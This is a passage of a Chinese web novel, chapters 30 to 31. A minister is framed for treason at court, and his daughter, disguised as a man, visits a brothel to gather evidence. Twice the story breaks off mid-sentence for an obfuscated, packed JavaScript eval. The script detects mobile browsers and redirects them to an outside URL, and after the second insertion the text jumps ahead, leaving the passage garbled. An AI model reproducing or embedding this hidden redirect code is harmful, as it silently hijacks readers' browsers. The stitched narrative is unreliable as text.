泪水无声无息滑落,糊满双眼,直到眼前朦胧一片,伸出手再也抓不住什么。 “我去上朝了。”明衢快步朝着前方走去,身影消失在雪中,只留下一串脚印,片刻后大雪覆盖住脚印,什么也没留下。 明枝溪躺在屋内,身体一阵冰凉,翻来覆去,脑中思绪纷飞,怎么也睡不着了,明枝溪站起身随手拿起书架上的一本书,坐在暖炉旁看起来。 ‘树欲静而风不止,子欲养而亲不待’,明枝溪看着这段话,只觉格外刺眼,于是将书再次放回书架。 放回途中,一张纸条缓缓掉落在地,明枝溪正欲弯腰捡起,忽的看见上面的一段话‘事至而图之,则已晚矣’。 明枝溪顿住了,双眼无神看向那一行字,这张纸是从前出门游玩时,一个吃鱼老翁送给她的,当时他便说的高深莫测,明枝溪不懂。 而现在明枝溪终于懂了,她连外袍都还没来得及拿,匆匆赶去宫门,手冻的有些发红。脸上更是冻红一片,呼出的白气迅速消失在大雪中。 眼前白茫茫一片,直到高大的红墙绿瓦出现在视野中,宫门外没有明衢的身影了,明枝溪想进去,却被侍卫拦在门外,她只好坐在一旁的石台阶上等待着。 呼吸刺痛着明枝溪的肺部,每一口气都像是刀刮,路边其余上朝的官员纷纷侧目,口中议论着什么,明枝溪听不清,也无意去听。 不知过了多久,明枝溪几乎快要晕倒在宫门口时,谢槐池的身影出现了,明枝溪像是抓住了救世主,急忙跑去抓住谢槐池的手问:“下朝了吗?我父亲呢?” 谢槐池摇摇头,将自己身上的狐裘披在明枝溪身上,带有余温:“还未下朝,听闻你在门口等待,又听他们说你衣着单薄,于是来看看,你怎么穿的如此单薄?” 明枝溪无心去解释,低垂着头:“你快回去吧,我总有种不好的感觉,我担心。” “那你先回去,不要急,会没事的,只要按照计划来,一切都会没事的。”谢槐池搓着明枝溪那双几乎没有温度的手,温和耐心地劝解。 “我没事,我不冷,你快回去吧,不要耽误了。”明枝溪依旧固执地站在宫门外。 谢槐池没有多说,对着她重重点头后转身向里走去,眉头轻皱。 朝堂上,一名官员站出身,大声的道:“臣有本要奏,参明丞相,明衢通敌叛国,这才害死了谢大将军。” 闻言,众臣纷纷交头接耳,目光灼灼地看向明衢与刚回位的谢槐池。 “王大人可有证据?”明衢站出身,挺直腰杆看向王大人,语气坚定。 王大人挥了挥手,后方走来一位小太监将证词呈与坐在龙椅上的赵康时。 赵康时随意翻动几下,态度敷衍道:“丞相可有此事?。” “并无此事。”明衢举着笏板,弯下腰回禀。 赵康时等的就是这句话,他调整坐姿,庄严的声音响彻大殿:“此事言之凿凿,证词处处指向你,爱卿不必解释了,念你辅佐先帝有功,便罚你..” “请圣上彻查此事!”明衢打断赵康时的话语,可谓是大不敬。 “什么?”赵康时不可置信看向他,随后又看向谢槐池。 谢槐池蹙着眉道:“明丞相,此事已定,再查下去..” “请圣上彻查此事!若情况属实,臣甘愿受罚!可若只是挑拨离间之词,那也好稳定朝廷纲纪!免得被小人陷害!”明衢依旧低着头弯着腰。 发冠上一缕发丝缓缓滑落,使得他有些老态龙钟。 “是啊皇上!彻查此事!”王大人嘴角轻轻勾起,主动应付着,周围的官员纷纷跟着重复。 这是把赵康时架在火炉上烤了,一时间他不知该如何是好,迟迟未曾开口。 “臣多谢圣上成全!”明衢并未给赵康时多少反应时间,下跪叩谢。 王大人斜睨了眼明衢,眼中满是挑衅,片刻后他对着谢槐池道:“听闻谢小将军还要与明丞相的嫡女成婚,我这个时候站出来说是不是不太好啊。” 谢槐池深吸一口气,冷声道:“知道不好还往外说,你是活腻歪了?” “嘿呦,谢小将军,微臣也是为了您好啊,与仇人家的女子定亲成婚,以后想必也不好受吧。” “肃静!”赵康时身旁的太监喊道。 王大人这才堪堪收回了视线。 ‘砰! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576060|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’ 朝堂上回荡着此声,众臣纷纷后撤,一名官员急忙站出,面色惊慌的跪下喊:“圣上!谢小将军在朝堂上这般作为,这是对您的大不敬啊!” 谢槐池手中的笏板断裂开,王大人躺在地上脑门上流出鲜血,谢槐池转身看向那名发声官员,语气冰冷:“你如果要讨打,也不要用这种方式。” “谢槐池!”赵康时见事态有些超乎想象,连忙发声阻止,“今日都退朝吧,明丞相与谢小将军留下,将王大人拖出去,找个医官医治。” 太监倒是临危不乱,声音依旧平静的喊:“退朝——” 众臣逃命般往外跑去,赵康时推开黄纱缓缓走下高台,将明衢扶起。 “明姑娘并未和你说此事吗?你这般要朕如何保你!他们一定已经做好伪证等着朕去查呢!”赵康时语气焦急道。 “枝溪已经同老臣讲了,此事是老臣的决定,还望圣上成全,哪怕一点线索都没有,臣也是清白的!臣勤勤恳恳忙碌二十载,到头来若是只落下一个通敌叛国的名声。” “那老臣不如去死,老臣虽已年迈,可心智尚且正常,臣明衢甘愿抛弃生死,但求清白在人间。” 谢槐池随手将笏板丢在地上,走上前质问:“那枝溪呢?你要她怎么办?她难道不会伤心吗?她会后悔一辈子的!” 赵康时拉住谢槐池那双即将拽住明衢衣领的手,言语恳请道:“好了谢槐池,你不要太激动!” “枝溪啊...”明衢看向上方穹顶,金闪闪的一条龙盘踞在那儿,熠熠生辉,“她有你护着,我放心。” 谢槐池停下动作,垂眸看向明衢:“你知不知道这样做就是落入了那奸人的圈套啊!你知道你会面临什么吗?” “我知道,大不了就是一死,臣还恳请圣上不要殃及臣的家人。”明衢说着便又要下跪。 “诶诶。”赵康时扶起他,“这样你先去诏狱,其他事情我们会调查,可若是什么都没查出...” “无妨,死得其所,老臣只愿后人能记得我清正廉洁之时,其余便就罢了。”明衢说着朝着殿外走去。 “来人,送明丞相前往诏狱,无令不得出。”赵康时觉着这样有些绝情,接着补充道,“好生伺候着,磕了碰了我要你们的脑袋。” 一众人急急忙忙跟上明衢,目光恳切地望向他。 见人一走,赵康时便有些慌乱,连忙问谢槐池:“接下来怎么办?总不能真将明丞相处死吧,一生清正廉洁的官可不多啊。” 谢槐池闭着眼,思索一番后答道:“没办法了,被架起来了,只能走一步看一步了。” 他说罢转过身向着外头走去:“下午有空来一趟我府上,好好商讨下一步怎么走,对了你记得把老金喊上,我总觉得他会有用。” 赵康时撇起嘴,看着地上一片狼藉,再想想御书房满桌的奏折,不耐烦地挠了挠头对着身边的太监道:“你听到了,我晚点出去一趟,帮我瞒好些,不要像上次那样说我生病了。” “搞得奏折上全是问安,没病也看出病来了。” 太监急忙陪着笑点头附和。 宫门外,明枝溪在外面焦急地看向鱼贯而出的官员。他们讨论的声响比刚上朝时更大了。 明枝溪敏锐捕捉到下诏狱,明衢,谢槐池,朝堂上动手,这几个关键词,心口剧烈跳动,有些疼痛,见谢槐池的身影走过,再次迎了上去。 忽然她意识到了什么,停下脚步,喃喃自语:“执拗,固执,我与父亲是一样的啊,他执拗也固执,他怎么可能会任由别人诋毁他这半生功绩。” “枝溪..枝溪?”谢槐池双手放在她的肩膀上,轻轻晃动着。 明枝溪抬起头时眼中早就含满泪水,下一秒泪珠滚落在雪地,留下一个细小的坑洞,明枝溪声音发颤,抽泣着问:“父亲是不是让赵康时彻查了?我早该知道的,他就是那样性子的人,我就不该让他上朝。” 谢槐池轻轻抱住她:“我们一起去找证据把父亲救出来,不哭了,我们可以做到的。” 明枝溪缩在谢槐池的怀中,想起今早拥抱父亲的那个温暖怀抱,哭的更响了。 谢槐池就这样抱着她,一声不发,面上满是怜悯心疼,他不知如今该说什么,只得将这个怀抱加深。 明枝溪哭得双眼有些发烫,眼睛红肿的抬起头,抽噎的看向谢槐池:“我们可以的,对吗,我父亲不会..不会死,对吗?” 谢槐池没有开口,这是一件充满不确定性的事情,谁也不敢轻易做决断,只得抹去她眼上的泪道:“你父亲就是我父亲,我们一起试试,不试试怎么会知道呢。” 明枝溪收敛了哭声,眼神转化为坚定,可她的思绪不足以凝聚,想不出接下来该怎么办,她只能问谢槐池:“那现在怎么办?” “先去我府上,赵康时与老金也会来,我们一起商讨。”谢槐池微微笑着,双眉上扬着。 不远处的城楼上一名黑衣男子正站在那儿,看着眼前的一幕,嘴角勾起一抹笑,随后又迅速淡去,消失不见。 31. 第31章 谢槐池扶着明枝溪上了自己的马车,明枝溪依偎着谢槐池看上去有些虚弱。 “困吗?如果困的话睡一会儿吧。”谢槐池握着明枝溪的手道。 明枝溪摇摇头:“不困,就是有些累。” “在我这里你不必强撑的。”谢槐池眼眸垂落,手握得更紧了一些。 明枝溪回握住谢槐池的手,另一只手不停得扒拉他的手指,就这样玩弄着,没有开口说话。 谢槐池见状也不多说,任由她玩弄自己的手指,时不时抬起食指挑逗明枝溪。 马车很稳,街上行人比以前多得多,也许是因为契丹的市集正在准备开摊,许多人都在门前扫着雪。 马车渐渐停下,谢槐池先行下车,撑起一把伞,牵过明枝溪的手,撑着她下车。 老金头早就收到信,正坐在开国侯府的门槛上等着二人,见明枝溪下车急忙凑了上去喊:“闺女诶,诶呦,怎么看着精神这样差。” 老金头看向谢槐池,没好气地给了眼神道:“早就听你大病初愈,店中繁忙一直得不到空来,是不是这小子亏待你了?你说出来干爹帮你教训。” 明枝溪不由得被逗得笑出声:“老金啊,我什么时候说要认你做干爹了。” 三人一起向着府内走去,老金站在一旁蹭着谢槐池撑起的伞:“那我不管,你这干爹不认也得认了,如今我啊..” “赵康时将樊楼交给他打理了。”谢槐池勾起笑看向老金头。 “你说出来干什么,这是我的词!”老金头给了个白眼。 “那这还是我的伞呢。”谢槐池不甘示弱道。 明枝溪被这两人的一唱一和逗得直笑,气色看起来都好了许多。 “怎么样,不难过了吧?”老金头自己撑起一把伞向前走去,“可惜哦,老婆子走的早,不然就让你们看看什么叫情深似海。” “喂!等等我。”身后传来赵康时的声响。 老金头难以置信地回过头看他问:“你就这样出来了,不批阅奏折了吗?” 赵康时扶着老金的手臂喘着气:“这奏折还批什么啊,要么就是一些杂事,要么就是弹劾谢槐池的。” 明枝溪转过身问:“弹劾他做什么?” 赵康时表情一顿,眼神飘忽不定,眨巴着双眼说:“这…谢槐池拿笏板给人砸了。” 老金头:...... 明枝溪回过头看向谢槐池,他表情没变,依旧那副笑嘻嘻的模样:“怎么了?又没什么东西能记录,只能这样用了,还挺结实的。” 明枝溪一时间竟然不知道该说些什么,两眼眨巴眨巴的,谢槐池这才继续道:“好了,以后不会再拿笏板砸别人的头了。” “知错能改善莫大焉。”明枝溪点着头,继续问,“砸的谁啊?” “就是参明丞相的那个王大人。”赵康时小声道。 明枝溪思索一番,片刻后四人都进了屋子,围坐在暖炉旁,明枝溪烘烤着手问:“王大人是王琮吗?参知政事..那他确实该急,年纪比我父亲大,官职还比我父亲低。” “我已经派人去查他近日与谁见过面。”谢槐池话音刚落,刘闻便站在外头叩门,谢槐池眉毛一挑,“来了,进。” 刘闻快速走来道:“经属下调查,王琮这些日子几乎都是在听戏,以及在戏院下那处小摊买酒喝,陪同听戏的有黄东,苏戚鸥,这两位大人,而小摊只有他与老板两人,几乎都是独饮。” “戏院是南城口的那一家,生意看着还挺不错的,需要属下去调查吗?” “不用了,退下吧。”谢槐池冷声道。 刘闻微微点头退下,老金头立马开口:“那个戏院我知道,里面有些不正经的营生。” 赵康时也附和着:“是啊,早该查封了,等我今日回去就让人去封了那戏楼,一个个官员正经的不干,非要干些倒三滥的玩意。” “今日还早,去看看?”明枝溪提议道。 “确定吗?里面可有些见不得人的事情。”老金头担忧地看向明枝溪。 “这有什么?我女扮男不就好了,四个男子去戏院也很常见吧。”明枝溪毫不在意,只是眼神看向谢槐池。 “怎么?担心我跟别人跑了?”谢槐池注意到她的视线,倒不如说是,谢槐池的视线一直在明枝溪身上。 “没有啊。”明枝溪疯狂摇头,“我是担心你不让我去。” “我是不想让你去,万一你跟人跑了怎么办?”谢槐池扬起嘴角打趣。 明枝溪握住他的手,可怜兮兮地道:“哥哥~” “好。”谢槐池笑出声,“我又没说不让你去。” 赵康时略微尴尬的朝着老金头那儿挪了挪,老金头一脸嫌弃躲开:“干嘛?我也是有家室的人,这里只有你没有。” 杀人诛心,赵康时听到的都是恶言,顿时躺在地上撒泼打滚:“我不管!你们都欺负我!” “诶嘿,土皇帝,你这样要是被传出去可不好听啊。”老金头嘴硬心软的朝着赵康时那儿挪了挪,“这样行了吧,我们两一起。” 赵康时好似找到了慰藉一般,重新坐好,仿佛方才撒泼打滚的人不是他,正色道:“这样,我们不要一同进去,分两伙人。” “行,现在出发吧,若是查无可查了便到楼下酒摊喝点。”老金头站起身道。 谢槐池扶起明枝溪道:“行吧,都小心点,不要受伤了。” 雪停风止,街上商户纷纷打开门出来扫雪,一些小摊贩也推出了小推车,街上热闹起来,众人纷纷上街游玩采买。 明枝溪换了身装扮,衣裳是谢槐池的,有些宽松,看着像是一个文弱小生,谢槐池则是站在一旁憋着笑,不停的说‘好看’,明枝溪自然是不信的。 衣裳大出了这许多,想想都知道不怎么样,于是问道:“没有再小一些的了吗?” “有啊。”谢槐池弯腰翻找起来,拿出了一件橙红色衣裳递给明枝溪。 “有些眼熟呢。”明枝溪将衣裳拿在手中反复琢磨,“这是当初在苏州,第一次见到我穿的那一身?你还留着呢?” “是啊,舍不得丢,毕竟是与我们枝溪的一些小回忆。”谢槐池靠在墙上,眼笑得弯弯如月钩。 明枝溪耳根微红,转身去了屏风后换衣裳,再出来时便又换了种风格,像是那些意气风发的江湖少年郎,就是长得文弱了些。 “怎么样?”明枝溪低下头打量着自己,迫不及待的问谢槐池。 谢槐池缓步走上前,将明枝溪腰间的腰带系好:“小笨蛋,腰带都不会系。” 明枝溪不服气的抬头看向他,正欲开口说话,谢槐池轻轻落下了一吻,还轻轻的咬了一下明枝溪薄唇。 霎时间,明枝溪不知道该说什么了,方才要说的话语硬生生噎住,片刻后道:“走..走吧。” 谢槐池笑着任由明枝溪拉着向外走,眼神落在她泛红的耳廓上,笑容的幅度加大。 —————— 戏院外,明枝溪进去时瞥了眼外头的酒摊,很平淡的小摊子,并没有什么不同的地方,甚至有些简陋,让人觉得这家的酒一定不怎么样。 进了戏楼,一群妖娆的女子便迎上来,围绕住两人,明枝溪忍不住后退一步。 带头女子见了打量一番后,妖艳笑着打趣:“哟,这位公子第一次来咱们戏楼吧,来看看哪位姐妹深得你心啊。” 明枝溪腹诽道:这哪是戏楼啊,分明就是…… 谢槐池看向明枝溪道:“怎么样明兄?喜欢哪个?” 明枝溪只得佯装是常客,伸手想学老金头捋胡须的动作,突然想起自己压根没有胡须,尴尬地笑着道:“我看这位娘子就很不错,就她了,你们都退下吧。” 那名女子被明枝溪搀扶着走出人群。她是唯一一个不争不抢,只在队伍末尾默默站着的,似乎不想冒尖出头。 带头女子嘿嘿笑着道:“好了姐妹们都散了吧,这可是小青第一次有人选呢,都不要跟她抢了。” 她话锋一转,眼神看向谢槐池道:“这位公子长得好生俊俏啊,怎么样?有喜欢的姐妹吗?” 谢槐池看向明枝溪,又看向众人,面无表情道:“我看你们都不怎么样,还不如我家娘子呢。” 带头女子也是第一次见有人在这家店里评头论足,甚至还说自己有妻子,顿时露出一个极为难看的笑:“嘿呦,那您啊可真不该来这,走吧姐妹们,没看到人欣赏不来吗?” 明枝溪憋着笑,低着头,眼神瞥向谢槐池,竖起一个大拇指,轻声道:“厉害!” “坐哪?”谢槐池点着头,对明枝溪身旁站着的小青问。 小青似乎才缓过神来,急忙道:“哦,这..这里,请随我..奴家来。” 明枝溪注意到她的生疏,但在大庭广众之下不是很好发问,于是跟上她的步伐。 两人进了包厢,明枝溪面带疑惑问:“那这戏怎么看?” 小青拿出一本册子道:“这是奴..家会的曲目,公子看看要点什么?” 明枝溪:......原来是这样的戏吗 “你随便来一个吧。”明枝溪不想为难老实人。 只见小青走上戏台,缓缓鞠了一躬后开始唱戏,腔调有些青涩,唱到高音部分还会破音,进一步加深了明枝溪对她的看法。 一曲结束,明枝溪开口道:“你过来,坐我边上。” 谢槐池斜睨了一眼明枝溪,手中剥着葡萄放进一旁的碟子中,递给明枝溪。 小青有些为难,踌躇着不敢往前,眼神看向门外,明枝溪随着她的视线看出去,门外有一个黑影伫立在那儿。 明枝溪了然于心,继续喊道:“让你来,你快来,愣着做什么?” 小青错愕的看向明枝溪,只见明枝溪眼睛疯狂的眨着,小青面露疑惑,小心翼翼走去,坐在明枝溪身旁。 明枝溪再次看向门外,黑影依旧在那儿,只好大声的道:“小娘子!让小爷好好疼疼你。” 黑影似乎顿住了,转身离去,明枝溪见黑影终于消失这才小声的道:“你是新来的?” 小青害怕的向边上退去,点了点头。 明枝溪露出无奈的表情,还未开口,便听见谢槐池道:“吃葡萄。” 明枝溪‘哦哦’两声,听话的拿起葡萄吃起来,谢槐池接着道:“她是我妻子,正妻,女子,你放心。” 小青呆愣住,不可置信看着面前正吃着葡萄的明枝溪,身形似乎不再那么紧绷。 明枝溪嚼着葡萄道:“你是被骗来的,还是卖来的?” 小青支支吾吾回复:“都……都有。” “你想离开这儿吗?去做正经营生。”明枝溪正色道。 “想。”小青似乎不是很喜欢开口说话,也就唱戏时才会一直开口。 “这样,我们做个交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,没了,其余的我便不知道了,也许别的姐姐那会有。”小青一脸老实,看上去可爱极了。 “行吧。”明枝溪说着,心中想:希望老金那能有点有用的情报吧。 明枝溪紧接着道:“怎么赎你?” 小青摇了摇头,明枝溪再次将目光看向谢槐池,谢槐池挑着眉喊道:“当家的在吗?” 明枝溪觉得这样有些太保守,很容易被人看出来自己像是来打探情报的,毕竟人衣衫端正,一点也没露,毫无肌肤之亲啊。 于是她在谢槐池喊的那瞬间,伸出手将小青身上的口脂晕染开,再将她的衣衫稍微弄得凌乱了些,眼疾手快的拿过一旁的布盖在她身上。 老鸨很快便出现在门外,毕竟方才早就听楼下的姑娘们在那儿愤愤不甘的咒骂,她站在屋外问:“奴家能进来吗?” 明枝溪压低嗓音道:“嗯,进来。” 老鸨一走进来,看见小青衣冠不整,顿时露出谄媚的笑容道:“诶呦,这位俊俏的公子可是要赎她?” “自然是。”明枝溪伸出手将谢槐池的荷包顺来,丢在桌子上。 谢槐池挑着眉,狐疑看向明枝溪,但是也没阻止,只是笑容愈发加深。 老鸨快步走上前道:“这小青啊还年轻,一定能为你繁衍子嗣的,这样见公子第一次来便出手阔绰,我给你便宜些,两百两白银怎么样?” 明枝溪瞪大双眼,没想到赎人要花这么多钱,却还是强装镇定,伸手拿出荷包中的银票,递给老鸨道:“喏。” 老鸨喜笑颜开,连忙拿出早已准备好的原卖身契和赎身契,娇柔地走来道:“借用一下公子的桌子。” 谢槐池微微让开身位,老鸨在上头写着什么问:“敢问公子怎么称呼啊?” 明枝溪顿时犯了难,闭上眼似乎是下定决心般说道:“金山甲。” 老鸨嘿嘿笑着道:“好名字啊。”而手中快速的写着,随后将赎身契与收条递给明枝溪继续道,“这个给您,这位公子哥记得去官府开脱籍贴哦~” 明枝溪点点头,实则她根本没听懂,眼神看向谢槐池,希望他记住了吧。 “小青,还不快谢谢金公子!你可是傍上了好人家。”老鸨话音一转,厉色喊道。 小青急忙跪下磕头,几乎是下意识反应:“多谢金公子替奴家赎身。” 明枝溪扶起她道:“多好的一小娘子,别磕头了,磕坏了怎么办?走吧。” 说着三人就这样大摇大摆的出了戏楼的门,到了大街上,明枝溪一眼便看见了站在一旁的老金头。 五人蹿进一旁的巷子中,小青似乎有些不解地问:“金公子不回府吗?” 老金头:......? 明枝溪低垂着头嘿嘿道:“老金你听我解释...” 赵康时张大嘴巴,还未开口就被老金一把捂住,老金沉默许久后道:“我听着,你倒是说啊。” “我好像给你惹事了..用你的身份赎了女子...”明枝溪颤颤巍巍掏出方才老鸨给她的文书递给老金头。 谢槐池在一旁‘噗嗤’笑出声。 老金头不敢相信自己听到了什么,看看站在一旁的年轻小姑娘,大喊道:“你给我赎了个闺女?”